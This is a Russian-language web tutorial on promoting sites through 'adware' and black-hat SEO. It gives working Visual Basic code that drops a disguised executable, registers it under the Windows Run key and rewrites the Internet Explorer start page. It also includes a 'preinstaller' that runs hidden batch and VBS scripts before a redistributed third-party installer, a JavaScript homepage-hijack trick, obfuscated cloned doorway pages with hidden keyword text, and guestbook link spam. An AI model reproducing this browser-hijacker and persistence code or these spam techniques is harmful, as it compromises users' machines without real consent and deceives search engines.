uk en pl it
Web Monarx
BACK NEXT

Advert Ware – Adware


                                     



Adware - это вид интернет маркетинга, заключающийся во встраивании баннеров в freeware и shareware программы. При этом ПО распространяется, как правило, бесплатно, а автор ПО получает деньги от рекламодателей. Пользователь просматривает рекламу за право использовать программу.
Это определение только частичное – Вы можете предложить иными способами пользователю посмотреть банеры или посетить web-сайты. Достаточно только предупредить пользователя ПО предварительно о факте такой «оплаты» используемой им программы.
Использование adware для «раскрутки» своих web- ресурсов крайне эффективно, однако есть несколько тонкостей. Первое – очень неопределенна граница чувствительности пользователя таких программ. Т.е. сколько посещений безропотно вытерпит пользователь программного продукта. Второе – доступны программы, всячески нейтрализующие функции Adware. Такие программы производятся давно и в основном распространяются за деньги. Кроме того, есть данные о том, что некоторые антивирусы опознают программы с встроенными adware-функциями как вирусы или трояны, что может быть в некоторых случаях нарушением Ваших прав.
Если Ваша программа интересна, может использоваться часто, то следует так построить модуль adware, чтобы пользователь не каждый день смотрел Ваши банеры или посещал Ваш web-сайт. Кроме того, можно написать модуль таким образом, что будет проверяться наличие Internet-соединения и если оно активно, то web-сайт будет загружаться в встроенный web-броузер, размером, например, 1 pixel.
Отдельно можно поставить замечательный вариант. Когда ваша программа использует данные из файлов. Например, Вы написали программу для изучения иностранных слов, приложили файл с 200-300 словами. Дополнительные слова можно так же использовать бесплатно, но они Вами расположены на специальных страницах своего сайта, откуда их и будет получать программа. Т.к. изучение иностранных языков популярно (и популярность растет), а количество бесплатных программ мало, то это хорошая ниша.
Далее будут включены полные листинги программ на языке Visual Basic.


Использовать приведенные ниже листинги можно разным способом. Для того, чтобы ограничить возможность недобросовестного их использования (для показа рекламы без ограничений и т.д.) здесь приведены простые, но очень эффективные рекомендации.

1. Обязательно сделайте сохраненную копию реестра Windows. Для этого нажмите кнопку Start (Пуск). Затем «Run». Запустите приложение regedit – редактор реестра Windows

2. Зайдите в пункт меню «File» и выберите подпункт «Export». Задайте имя файла и сохраните копию данных реестра. Сохраняйте копию в отдельном файле после инсталляций. Заведите небольшой текстовый файл, где кратко описывайте, какая копия реестра сохранена после каких действий.

3. В реестре программы могут прописываться в раздел автозагрузки, поэтому возвратив сохраненную копию реестра (через подпункт меню «Import»), вы сможете отключить описанные ниже программы. Сохраните так же и файлы win.ini и system.ini



Страшно не знание.
Страшно незнание.


1. Стартовая страница web-броузера – на Ваш сайт (Листинги программ на Visual Basic 6.0).

Установка стартовой страницы web-броузера выполняется с использованием функций, работающих с реестром Windows. В качестве средства может быть использован скрипт или программа, например, на Visual Basic.

Предыстория.

Однажды я встретил web-сайтик, на котором было выложено некоторое количество привлекательного софта. Причем ассортимент был очень хорош – и MP3 плееры и DVD-проигрыватели, и почтовые программы и т.д., причем свежих версий и без ограничений. Скачал несколько нужных вещей. Попробовал инсталлировать. Все до одной программы под разными предлогами отказались устанавливаться – то ошибки, то голая форма на экране и никаких надписей, то просто ничего. Ну нет, так нет. Наплевал и забыл. Но обратил внимание, что когда утром приходя на работу включал компьютер и лез в Интернет, то чуть ли не через раз в качестве стартовой страницы в IExplorer-е что-то уже стояло и успевало загрузиться. Посмотрел дистрибутивы и заметил, что все они содержали некую добавку одинаковой длины и с одинаковым названием файла. Поискал на диске и нашел ее же на диске C:/ только уже этот файл (все коды абсолютно совпадали) был EXE. Полез в реестр Windows и нашел там ссылку из автозагрузки. Т.е. получалось, что при старте Windows эта программка запускалась и иногда прописывала в реестре-же Windows адрес стартовой страницы для Микрософт Эксплорера. Т.е. если комп не перезагружать, то ничего досаждать не должно. Почистил реестр утилитой Систем Механика и все прошло. Но технология меня заинтересовала. Ее можно использовать для Adware. Только настоятельно рекомендую ограничить использование такой технологии и обязательно предупреждать пользователей о ее использовании в своих программах. Обязательно ограничивайте количество срабатываний таких функций. Меня начало раздражать уже третье-четвертое посещение web-страницы.

Этот тип программного обеспечения имеет колоссальную эффективность. Даже при скачивании 10 экземпляров программы в день, в месяц это даст примерно 300 уникальных IP, которые будут «посещать» прописанный web-сайт так часто, как это будет угодно программисту.


Ниже приведен листинг программы, позволяющий выполнять следующие действия:

- создавать на диске в текущем каталоге BAT файл setup.bat, в который пишутся команды копирования модуля demo.ttl на диск C:\\ , переименования demo.ttl в demo.exe
- запускать BAT файл для исполнения
- создавать в реестре Windows XP в разделе автозагрузки программ запись Demo REG_SZ C:\\demo.exe (см. скриншот)





















Private Sub Form_Activate()
AutoSet ‘Сделать запись в реестре Windows XP (см. далее)

\'-----------------------------
Создать BAT-файл для копирования и переименования загружаемого модуля
indx = 1
Str1(0) = "copy demo.ttl c:\\demo.ttl" \'Скопировать модуль на диск C:\\
Str1(1) = "c:"
Str1(2) = "cd c:\\"
Str1(3) = "ren demo.ttl demo.exe" \'Переименовать модуль в EXE
For i = 0 To 3
Str1(i) = Str1(i) + Chr$(13) + Chr$(10)
Open "setup.bat" For Binary As #1 Len = Len(Str1(i))
Put #1, indx, Str1(i) \'Записать BAT-файл на диск
indx = indx + Len(Str1(i)) \'Номер следующей записи
Close #1
Next i


Shell ("setup.bat") \'Запустить BAT-файл на исполнение

End Sub




Private Sub AutoSet()
\'Создать запись в реестре Windows XP для запуска модуля при старте Windows
LSkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" \' АВТОЗАГРУЗКА
secattr.nLength = Len(secattr) \' size of the structure
secattr.lpSecurityDescriptor = 0 \' default security level
secattr.bInheritHandle = True \' the default value for this setting
\'--------------------------------------------------------
retval = RegCreateKeyEx(HKEY_LOCAL_MACHINE, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)
If retval <> 0 Then \' error during open
Debug.Print "Error opening or creating registry key -- aborting."
End \' terminate the program
End If
stringbuffer = "C:\\demo.exe" & vbNullChar \' Путь, где располагается модуль (после исполнения BAT-файла)
retval = RegSetValueEx(hregkey, "Demo", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) \' write the string

\' Close the registry key
retval = RegCloseKey(hregkey)
\'-----------------------------

End Sub

** Программа может правильно работать только в откомпилированном варианте.

Полный листинг программы прилагается к руководству – файл IE-Start-Page.zip


Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!


Листинг загружаемого модуля Demo.exe. Загружаемый модуль не представляет собой ничего особенного – просто небольшая программа, в данном случае, проверяющая дату и устанавливающая стартовую страницу Internet Explorer , например, на сайт с развлечениями.












Private Sub Form_Load()
rundate = Date \'Получить ДАТУ на компьютере
Form1.Caption = Mid(rundate, 1, 2) \'Выделить из даты ЧИСЛО месяца и написать его в заголовок для отладки
ls = "Software\\Microsoft\\Internet Explorer\\Main"
adress = "http://www.privet.com" \'Адрес стартовой страницы, к примеру
\'\'
\'\'
If Mid(rundate, 1, 2) = "30" Then \'Т.е. записывать стартовую страницу IE каждое 30-е число каждого месяца
\' Записать в реестрWindows XP
LSkey = "Software\\Microsoft\\Internet Explorer\\Main"
\'Стартовая страница для IE
retval = RegCreateKeyEx(HKEY_CURRENT_USER, LSkey, 0, "", 0, KEY_WRITE, secattr, hregkey, neworused)
If retval <> 0 Then \' error during open
Debug.Print "Error opening or creating registry key -- aborting."
End \' terminate the program
End If
stringbuffer = adress & vbNullChar \' note how a null character must be appended to the string
retval = RegSetValueEx(hregkey, "Start Page", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) \' write the string
\' Close the registry key
retval = RegCloseKey(hregkey)
End If

End \'Выйти из программы

End Sub

Этот модуль после компиляции достаточно переименовать в demo.ttl и можно тренироваться.

Полный листинг программы прилагается к данному документу – файл IE-Demo.zip

Предупреждение! Автор приводит следующую информацию ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ. Запрещается использовать приведенную здесь информацию для причинения вреда. Нарушая данное условие, Вы полностью принимаете последствия ваших действий на Себя!



- Часть 3 -

Курочка по зернышку клюет, а сыта бывает!
Любая посещаемость начинается с единицы.





40. Как создать несколько клонов одной web-страницы

Для раскрутки Вашего сайта может потребоваться создать очень много сайтов и страниц с одинаковым (для посетителя) содержимым, но при этом поисковики должны воспринимать их как разные страницы. Можно, конечно создавать вручную большое количество страниц с разным дизайном и наполнением. А можно поступить по-другому. Сделайте одну web-страницу и много-много ее «клонов». Покажем на примере:


Создадим простейшую HTML-страницу

<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.

</body></html>

У Вас есть теперь одна копия страницы и ее можно разместить на хостинге и создавать ее «клон».

<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<SCRIPT LANGUAGE="javascript">
// <!--
document.write("Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.");
// -->
</SCRIPT>

</body></html>

Тот же текст теперь записан уже через JAVA Script. Но еще не все. Во-первых, строка
document.write("……..");
должна быть записана без переносов. Во-вторых строку нужно модернизировать, видоизменив текст

document.write("Зд”+”есь пи”+”ше”+”те тек”+”сто”+”вое сод”+”ерж”+”имое стра”+”ницы, раз”+”мещаете таб”+”лицы, карт”+”инки, лин”+”ки и т.д.");

Вот у Вас уже две страницы. Создадим третью версию страницы. Для этого используем программку из прилагаемого архива antispam.zip (программа была скачана с постороннего сайта и распространялась бесплатно).

В поле |Source| введем текст
Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.

Нажмем кнопку |Crypt| и в поле |Crypt| скопируем следующий текст

&#199;&#228;&#229;&#241;&#252;&#32;&#239;&#232;&#248;&#229;&#242;&#229;&#32;&#242;&#229;&#234;&#241;&#242;&#238;&#226;&#238;&#229;&#32;&#241;&#238;&#228;&#229;&#240;&#230;&#232;&#236;&#238;&#229;&#32;&#241;&#242;&#240;&#224;&#237;&#232;&#246;&#251;&#44;&#32;&#240;&#224;&#231;&#236;&#229;&#249;&#224;&#229;&#242;&#229;&#32;&#242;&#224;&#225;&#235;&#232;&#246;&#251;&#44;&#32;&#234;&#224;&#240;&#242;&#232;&#237;&#234;&#232;&#44;&#32;&#235;&#232;&#237;&#234;&#232;&#32;&#232;&#32;&#242;&#46;&#228;&#46;

Текста стало намного больше и он совсем не похож на исходный.

Полный HTML код страницы


<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<SCRIPT LANGUAGE="javascript">
// <!--
document.write("&#199;&#228;&#229;&#241;&#252;&#32;&#239;&#232;&#248;&#229;&#242;");
document.write("&#229;&#32;&#242;&#229;&#234;&#241;&#242;&#238;&#226;&#238;&#229;");
document.write("&#32;&#241;&#238;&#228;&#229;&#240;&#230;&#232;&#236;&#238;&#229;");
document.write("&#32;&#241;&#242;&#240;&#224;&#237;&#232;&#246;&#251;&#44;&#32;");
document.write("&#240;&#224;&#231;&#236;&#229;&#249;&#224;&#229;&#242;&#229;&#32;");
document.write("&#242;&#224;&#225;&#235;&#232;&#246;&#251;&#44;&#32;&#234;&#224;");
document.write("&#240;&#242;&#232;&#237;&#234;&#232;&#44;&#32;&#235;&#232;&#237;");
document.write("&#234;&#232;&#32;&#232;&#32;&#242;&#46;&#228;&#46;");
// -->
</SCRIPT>

</body></html>


Но это еще не все. В таком виде страница не будет отображаться правильно, т.к. в строках JAVA Script слишком много «лишних» точек с запятой. Добавим символов, маскирующих лишние точки с запятыми.
Делайте по следующему образцу

document.write("&#199;&#228;&#229;&#241;&#252;&#32;&#239;&#232;&#248;&#229;&#242;");

будет выглядеть так

document.write("&#199\\;&#228\\;&#229\\;&#241\\;&#252\\;&#32\\;&#239\\;&#232\\;&#248\\;&#229\\;&#242\\;");
Т.е. «незамаскированная точка с запятой должна быть только в конце строки!


<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<SCRIPT LANGUAGE="javascript">
// <!--
document.write("&#199\\;&#228\\;&#229\\;&#241\\;&#252\\;&#32\\;&#239\\;&#232\\;&#248\\;&#229\\;&#242\\;");
document.write("&#229\\;&#32\\;&#242\\;&#229\\;&#234\\;&#241\\;&#242\\;&#238\\;&#226\\;&#238\\;&#229\\;");
document.write("&#32\\;&#241\\;&#238\\;&#228\\;&#229\\;&#240\\;&#230\\;&#232\\;&#236\\;&#238\\;&#229\\;");
document.write("&#32\\;&#241\\;&#242\\;&#240\\;&#224\\;&#237\\;&#232\\;&#246\\;&#251\\;&#44\\;&#32\\;");
document.write("&#240\\;&#224\\;&#231\\;&#236\\;&#229\\;&#249\\;&#224\\;&#229\\;&#242\\;&#229\\;&#32\\;");
document.write("&#242\\;&#224\\;&#225\\;&#235\\;&#232\\;&#246\\;&#251\\;&#44\\;&#32\\;&#234\\;&#224\\;");
document.write("&#240\\;&#242\\;&#232\\;&#237\\;&#234\\;&#232\\;&#44\\;&#32\\;&#235\\;&#232\\;&#237\\;");
document.write("&#234\\;&#232\\;&#32\\;&#232\\;&#32\\;&#242\\;&#46\\;&#228\\;&#46\\;");
// -->
</SCRIPT>

</body></html>

Вот у Вас уже есть третий вариант страницы. Чтобы сделать последующие варианты, сочетайте Crypt-ованный и обычный текст в операторах document.write("……..");

Еще вариант. Создадим переменную JAVA Script.

<html><head><title>Игра на листочке бумаги</title>
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
<script language="javascript">
<!--
var textum=" Здесь пишете текстовое содержимое страницы, размещаете таблицы…"
//-->
</script>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<span id="liveclock"></span>
<SCRIPT LANGUAGE="javascript">
// <!--
liveclock.innerHTML=textum
// -->
</SCRIPT>

</body></html>

Здесь объявляется переменная var textum, а затем она отображается на экран liveclock.innerHTML=textum
Опять же переменную textum можно переписать не буквами, а кодами букв, используя программку Antispam.exe

Теперь рассмотрим еще вариант. Вариант, когда JAVA Script записан в отдельном файле.
Нужно создать два файла – HTML страницу (например demo.htm) и JAVA Script файл (demo.js)

<html><head><title>Игра на листочке бумаги</title>
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<script language=javascript src=demo.js></script>
</body></html>

Файл с скриптом demo.js

// <!--

d=document;
d.write("Hello!<br>");
d.write("The HTML and JAVA Script Example");

// -->

Из уже написанных вариантов можно создать огромное количество сочетаний содержимого HTML-страницы.

И не забывайте от «клона» к «клону» менять список ключевых слов, заголовки TITLE, тэги <meta> и названия включенных в HTML страницу графических файлов.
И вот здесь есть один важный момент – если Вы закодируете весь текст страницы, то где поисковые машинки найдут текст для индексирования? Поэтому либо оставляйте часть текста некодированным, либо используйте методику пункта 42.

Не забывайте переименовывать графические файлы, которые будут одинаковыми на клонированных страницах.
Можно использовать готовые бесплатные шаблоны, которые легко найти и скачать. Наберите в Yandex.ru строку для поиска «шаблоны веб сайтов» и посмотрите предложенные образцы. Есть совершенно достойные варианты. Только не забудьте убрать из шаблонов посторонние счетчики (которые там могут быть) или сомнительные скрипты.

41. Как анонсировать «клонированные» web-страницы в searchengines

Если вносить «клонированные» страницы в каталоги, то их анонсирование займет много времени. Если страницы с одинаковым содержанием будут встречаться часто, администраторы могут обратить внимание и заблокировать или не внести страницы и сайты в каталоги.
Поэтому анонсировать «клонированные» web-страницы нужно следующим образом. Зайдите на популярный поисковик (Yandex.ru , Google.com.ru или какой-либо иной) и задайте в поиск ключевые слова, например:

Guestbook dvd

И нажмите кнопку |Искать|

Вам будет представлено много ссылок на гостевые книги, которые посещают поисковые машинки (searchengines) и чье содержимое они индексируют! И большая часть этих гостевых книг будет тематической ( в данном примере – dvd). Впишите в эти гостевые книги текст, соответствующий содержимому основного сайта владельца книги (будьте внимательны и корректны) и в качестве последнего предложения в тексте анонсируйте свой линк. Причем, если гостевая книга не подразумевает размещение линка, укажите его просто в тексте записи. Такие поисковики, как Google проидексируют и в этом случае.
В течение месяца ваша страница станет доступна при поиске.


42. Как создать «неклонированные» страницы с одинаковым содержанием

Не всегда указанный выше способ «клонирования» страниц может быть приемлем. Например, у Вас есть страницы с большим количество текста и Вам сложно их перекодировать. Очень успешно можно использовать следующий прием – добавление на страницы специального содержимого и тэгов для изменения акцентов индексирования.
Частично этот метод уже рассматривался в главе «Как на странице разместить много текста для индексирования не испортив дизайна» и в главе «Как использовать список ключевых слов, не совпадающий с тематикой HTML-страницы». Здесь будут приведены примеры, иллюстрирующие дополнительные возможности. Используем предыдущий вариант HTML страницы.

<html><head><title>Игра на листочке бумаги</title>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.

</body></html>

Дополним его стилями. Используем 2 фонта:

<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.oflameron { font-family: Arial, Tahoma, Helvetica; font-size: 2pt; color: red;}
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

<font class=game>Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>

</body></html>

Если посмотреть код, можно увидеть, что текст будет черного цвета (font.game) на красном фоне web-страницы (body bgcolor=red).

Добавим на страницу некоторое количество текста, в основном ключевых слов, по теме DVD.


<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.oflameron { font-family: Arial, Tahoma, Helvetica; font-size: 2pt; color: red;}
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>

DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player.

<font class=game>Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>

</body></html>

Если посмотреть, что получится, то Вы увидите, что добавленный текст хорошо заметен на странице. Доработаем текст следующим образом:


<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.oflameron { font-family: Arial, Tahoma, Helvetica; font-size: 2pt; color: red;}
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>


<font>
<SCRIPT LANGUAGE="javascript">
// <!--
document.write("<font class=oflameron>");
// -->
</SCRIPT>
DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player.
</font>

<font class=game>Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>

</body></html>


Обратите внимание, что текст «DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player» выделен тэгами <font> и </font>. Однако JAVA Script меняет тип фонта на <font class=oflameron>.
А размер этого фонта всего 2 pixel и цвет red, т.е. цвет фона страницы. Если таким образом добавить на тсраницу не текст, а линки на другие ресурсы, то получится весьма интересный DoorWay.

Теперь далее. Замаскируем JAVA Script.

<SCRIPT LANGUAGE="javascript">
// <!--
document.write("<f”+”o”+”nt c”+”la”+”ss”+”=ofl”+”am”+”er”+”on>");
// -->
</SCRIPT>

А теперь изящное дополнение. Используем на странице не 2 фонта, а один!

<html><head><title>Игра на листочке бумаги</title>
<style type="text/css">
font.game { font-family: Arial, Tahoma, Helvetica; font-size: 12pt; color: black;}
</style>
<SCRIPT LANGUAGE="javascript">
// <!--
document.write("<st"+"yle type=\\"text/c"+"ss\\">");
document.write("font.game { font-family: Arial, Tahoma, Helvetica\\; font-size: 2pt\\; color: red;}");
document.write("</st"+"yle>");
// -->
</SCRIPT>
</head>
<body bgcolor=red text=000000 link=red vlink=red leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>


<font>
<SCRIPT LANGUAGE="javascript">
// <!--
document.write("<font class=oflameron>");
// -->
</SCRIPT>
DVD, Mpeg 2, Digital Video, Player, Movies, Films, dvd player.
</font>

<font class=game>Здесь пишете текстовое содержимое страницы, размещаете таблицы, картинки, линки и т.д.</font>
</body></html>
Т.е. здесь производится подмена фонта через стили.
Соответственно, исходя из вышесказанного строку надо записать вот так (в одну строчку).


document.write("fo”+”nt.ga”+”me { fo”+”nt-fa”+”mi”+”ly: Ar”+”ial, Ta”+”ho”+”ma, Helve”+”tica\\; fo”+”nt-size: 2”+”pt\\; co”+”lor: r”+”ed;}");

И такого текста для индексирования в web-страницы можно добавлять очень много и до основного текста. Т.е. он будет учитываться при индексировании. Не забывайте соответственно корректировать ключевые слова в заголовке HTML-файла.



43. Где взять реальные ключевые слова

Реальные ключевые слова, это не те слова, которые часто встречаются на Вашей web-странице, а те слова, которые пользователи чаще всего задают в поиск на searchengines. Где взять? Простой вопрос – составить самому. Так рекомендуется в каждом руководстве по продвижению web-ресурса. Однако, можно не делать как все. Можно найти списки ключевых слов, выложенные на сайтах. Можно зайти в рейтинг web-сайтов и посмотреть списки ключевых слов web-страниц, расположенных первыми. Здесь опишем еще один способ. Примерно одинаково для русскоязычных и для англоязычных сайтов.
Зайдите на www.google.com и задайте в поиск следующий текст:

extreme-dm dvd

здесь extreme-dm ключевое слово, которое нужно обязательно, т.к. это часть названия специального счетчика. А DVD – слово, определяющее тематику (в данном случае DVD).



Найдется много Линков, среди которых можно найти линки такого вида (примерно):
http://extremetracking.com/open;ref2?tag=awarec

на этой странице приведена статистическая информация, в т.ч. и таблица со списком ключевых слов, по которым сайт (на котором установлен счетчик) был найден в поисковиках. Вот эти слова и используйте на своих страницах, чем чаще, тем лучше. Это те слова, по которым посетители ищут информацию и находят сайты, а не те, которые чаще встречаются.

Точно так же используйте счетчики системы http://lstat.susanin.com/ для поиска ключевых слов для русскоязычного контента.

44. Что такое ПРЕДИНСТАЛЛЯТОР

Вы не знаете, что такое прединсталлятор? Вот и хорошо. Значит и многие другие тоже не знают.
Прединсталлятор – программа, запускающаяся до инсталляции основной программы.
Зайдите на сайты с архивами бесплатных программ. Обратите внимание, что очень много популярных программ (реально пользующихся спросом) распространяются в виде самораспаковывающихся архивов (.EXE) и как правило, почти всегда имя архива не совпадает со словами INSTALL или SETUP.
Напишите разработчикам популярного программного обеспечения письмо с просьбой дать разрешение распространять их программы со своих сайтов. Чаще всего вам не только разрешат, но и будут рады. Теперь нужно создать программу, выполняющую следующие действия – запуск .BAT файла (например config.bat Этот файл напишите Вы) и запуск основного самораспаковывающегося архива. В config.bat вы можете поместить любые команды для раскрутки собственных web-ресурсов. Например, можно поместить скрипт, прописывающий адрес Вашего сайта в качестве стартовой страницы Internet Explorer (вы должны в произвольной форме предупредить пользователя о размещении рекламной информации. Например, записать ее в файл readme.txt).

Примеры:

Файл config.bat (например, запускаемая программа – thebat700.exe)

echo off
data.vbs
thebat700.exe

Файл data.vbs может быть примерно таким (файл прилагается к документу):

Option Explicit
Dim MyAppl

set MyAppl = CreateObject("Word.Application")
MyAppl.Documents.Add

MyAppl.ActiveDocument.FollowHyperlink("http://corel-images.narod.ru")
MyAppl.ActiveDocument.SaveAs "index.htm"

MyAppl.Quit
set MyAppl = Nothing

Этот файл демонстрирует загрузку web-страницы.

И собственно листинг прединсталлятора на Visual Basic 6.0

Dim indx
Dim Str1(4) As String
Private Sub Form_Load()

Shell ("config.bat") \'Запуск BAT файла на исполнение

End Sub

Это самый простейший листинг прединсталлятора. Можно сделать несколько солиднее – формировать запускаемый BAT файл непосредственно из прединсталлятора.


Dim indx
Dim Str1(4) As String
Private Sub Form_Load()
indx = 1
Str1(0) = "echo off " ‘Команда BAT файла
Str1(1) = "data.vbs " ‘Команда BAT файла
Str1(2) = "thebat700.exe " ‘Команда BAT файла
Str1(3) = "echo on" ‘Команда BAT файла
For i = 0 To 3
Str1(i) = Str1(i) + Chr$(13) + Chr$(10)
Open "config.bat" For Binary As #1 Len = Len(Str1(i))
Put #1, indx, Str1(i)
indx = indx + Len(Str1(i))
Close #1
Next i

Shell ("config.bat") \'Запустить BAT файл

End Sub


Зачем нужен прединсталлятор? Каждая сфера деятельности или развлечений имеет свой «круг» программ. Используя прединсталлятор, можно вести рекламные кампании в конкретном сегменте потенциальных потребителей. Иногда это может быть единственным способом довести информацию до пользователя. Следует отметить, что этот метод распространения информации существенно уступает по объемам охвата спаму, но является исключительно точным! Можно продвинуть почтовую программу с оранжевым фоном и перламутровыми кнопками почти исключительно только любителям почтовых программ с оранжевым фоном и перламутровыми кнопками.

Почему на Visual Basic? Эту программу проще простого переписать на любой другой язык программирования. С появлением Windows 2000 и Windows XP Visual Basic избавился от существенного недостатка – необходимости прилагать к каждой программе огромную динамическую библиотеку. Эта библиотека стандартно включена в состав этих операционных систем.

Рабочая версия прединсталлятора для Windows 2000 и Windows XP приложена к руководству в файле preinstaller.zip


45. Как работать «на выходе»

Используйте простой JAVA Script, чтобы прописать адрес другой своей WEB-страницы в качестве стартовой для IE.

<BODY background="bkfon.gif" onunload="lmhp.style.behavior=\'url(#default#homepage)\';lmhp.setHomePage(\'http://corel-images.narod.ru\');">
<!-- ***Homepage Object*** -->
<div id="lmhp" name="lmhp">
Строка оранжевого цвета должна быть записана без переносов.
Когда пользователь перейдет с Вашей страницы на другую (в том же запущенном экземпляре IE), загрузится окошко с предложением прописать указанную web-страницу в качестве стартовой. Очень даже не все внимательно читают такие сообщения!



- Часть 4 -

Курочка по зернышку клюет, а сыта бывает!
Любая посещаемость начинается с единицы.




46. Учим иностранный язык? Конечно!

Он-лайн ресурсы для изучения иностранных языков всегда имеют стабильную посещаемость. Связано это с значительным количеством изучающих иностранные языки, малым количеством действительно бесплатных ресурсов (все хотят денег). Этим можно воспользоваться для раскрутки web-сайта, предложив посетителям он-лайн программу для пополнения словарного запаса, например, английских слов. В данном случае программа написана на PHP и листинг ее дан полностью.
Алгоритм программы не сложен – на экране отображается табличка с анлийским словом и тремя вариантами переводов – один из которых правильный. Каждое слово перевода – линк. Нужно выбрать правильный перевод и Click-нуть на нем мышкой. Тогда на экран будет выдан следующий пример. Если выбран неправильный перевод, английское слово будет то же самое, а слова перевода будут приведены в ином порядке. Программа на PHP рассчитана на 5000 слов (50 файлов по 100 слов в каждом). В реальном примере использовано чуть более 1200 слов (12 файлов-словарей).
Полный листинг PHP скрипта и необходимых файлов-словарей в файле 5000-english.zip архива. На сайте http://freeproject.narod.ru/ есть дополнительный документик с примерами, показывающий как сделать этот сервис доступным для зарубежья (т.е. для пользователей, изучающих русский язык и не имеющих кириллицы на компьютере).
Листинг здесь приведен полностью – обратите внимание на важные комментарии. Они выделены оранжевым цветом.


<?
if ($argv[0] == "") {
Header("Location: http://www.oflameron.ru/english/?236578547862141234");
}
$potvet .= $argv[0]; //Индекс ответа
$dl = strlen($potvet); //Длина строки параметров

for ($i = 0; $i < $dl; $i++) { //#1
if (substr($potvet,$i,1) == "%") {
$gtmp .= " "; } else { //#2


if (substr($potvet,$i,1) == "2") {
$gtmp .= " "; } else { //#3

if (substr($potvet,$i,1) == "0") {
$gtmp .= " "; } else { //#4
$gtmp .= substr($potvet,$i,1);

} //#4

} //#3

} //#2


} //#1
////(c) By Valery V Shmeleff Moscow/Russia www.oflameron.ru 1994-2004
$otvet = $gtmp;

Сайт является частным собранием материалов и представляет собой любительский информационно-образовательный ресурс. Вся информация получена из открытых источников. Администрация не претендует на авторство использованных материалов. Все права принадлежат их правообладателям